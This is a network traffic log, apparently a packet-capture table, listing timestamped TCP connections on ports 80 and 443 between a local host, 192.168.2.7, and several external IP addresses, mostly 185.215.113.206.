Nov 17, 2024 22:20:51.815376043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815393925 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815408945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815424919 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815432072 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815448999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815464973 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815510988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815795898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815860987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815879107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815905094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815920115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815926075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815937996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815958023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815963984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815973043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.815984011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.815989971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816009998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816011906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816026926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816036940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816054106 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816062927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816072941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816076994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816092014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816101074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816112041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816131115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816148043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816170931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816189051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816205025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816205025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816222906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816232920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816257954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816279888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816359997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816375017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816390038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816411972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816431999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816438913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816451073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816508055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816518068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.816524982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.816565990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.821032047 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:51.821041107 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:51.822130919 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:51.822570086 CET	60905	443	192.168.2.7	20.1.248.118
Nov 17, 2024 22:20:51.822582006 CET	443	60905	20.1.248.118	192.168.2.7
Nov 17, 2024 22:20:51.831371069 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.918755054 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.918960094 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.919130087 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.920835972 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.920855045 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.931737900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.931761026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.931777000 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.931842089 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932001114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932024956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932041883 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932059050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932085037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932089090 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932104111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932111025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932122946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932137966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932142019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932153940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932158947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932182074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932188034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932188034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932208061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932214975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932364941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932380915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932396889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932423115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932424068 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932440042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932449102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932456017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932473898 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932486057 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932502031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932660103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932674885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932703972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932718039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932734966 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932745934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932748079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.932775974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932786942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.932975054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933003902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933020115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933037996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933058977 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933088064 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933088064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933166981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933182001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933197975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933208942 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933221102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933248043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933254957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933271885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933289051 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933295012 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933312893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933324099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933641911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933659077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933681965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933685064 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933710098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933711052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933727980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933728933 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933748007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933754921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933763981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933765888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933783054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933792114 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933804989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.933809042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933819056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.933855057 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.934052944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.934096098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.945873976 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.963351965 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.963406086 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.964245081 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.964263916 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.974335909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.974373102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.974389076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.974442959 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.974461079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.974967957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.975024939 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.975028992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.975433111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.976211071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.976275921 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.976281881 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.976295948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.976324081 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.976340055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.983484030 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:51.995054960 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:51.995073080 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:51.995742083 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:51.995742083 CET	60894	443	192.168.2.7	40.126.32.72
Nov 17, 2024 22:20:51.995752096 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:51.995769024 CET	443	60894	40.126.32.72	192.168.2.7
Nov 17, 2024 22:20:52.048245907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.048263073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.048300028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.048325062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.048331022 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.048357010 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.048393011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.048935890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049000025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049015999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049019098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049046993 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049051046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049067974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049069881 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049086094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049103975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049108028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049139023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049149990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049165964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049199104 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049205065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049218893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049236059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049252033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049257994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049269915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049285889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049293041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049304008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049325943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049329042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049355984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049387932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049403906 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049428940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049428940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049448013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049457073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049467087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049479961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049484015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049495935 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049500942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049510956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049519062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049527884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049546003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049559116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049784899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049801111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049817085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049834967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049844027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049869061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049887896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049930096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049952984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049966097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049983025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.049993038 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.049999952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050015926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050017118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050041914 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050067902 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050251007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050256014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050272942 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050298929 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050302982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050317049 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050322056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050338984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050350904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050375938 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050473928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050510883 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050529003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050544977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050570011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050584078 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050637007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050669909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050684929 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050698042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050714970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050749063 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050774097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.050789118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050863981 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.050906897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.051207066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.051253080 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.051282883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.051292896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.072051048 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.072338104 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:52.072346926 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.072815895 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.073326111 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:52.073405981 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.073544025 CET	60897	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:52.091007948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.091048002 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.091068029 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.091092110 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.091128111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.091169119 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.091182947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.091336966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.093218088 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.093252897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.093269110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.093321085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.094161987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.094177961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.094196081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.094223976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.094239950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.104062080 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.104574919 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.104640961 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.104710102 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.104727983 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.104744911 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.104752064 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.107953072 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.107986927 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.108045101 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.108329058 CET	60906	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.108339071 CET	443	60906	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.119330883 CET	443	60897	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:52.153904915 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.154423952 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.154479980 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.156721115 CET	60898	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.156738997 CET	443	60898	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.157983065 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.158385038 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.158411026 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.158786058 CET	60899	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:52.158791065 CET	443	60899	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:52.165024042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165056944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165071964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165213108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165213108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165625095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165667057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165683031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165689945 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165728092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165740013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165772915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165791035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165793896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165806055 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165822029 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165846109 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165868044 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165870905 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165894985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165911913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165918112 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165941000 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:52.165944099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:52.165956020 CET	60797	80	192.168.2.7	185.215.113.206
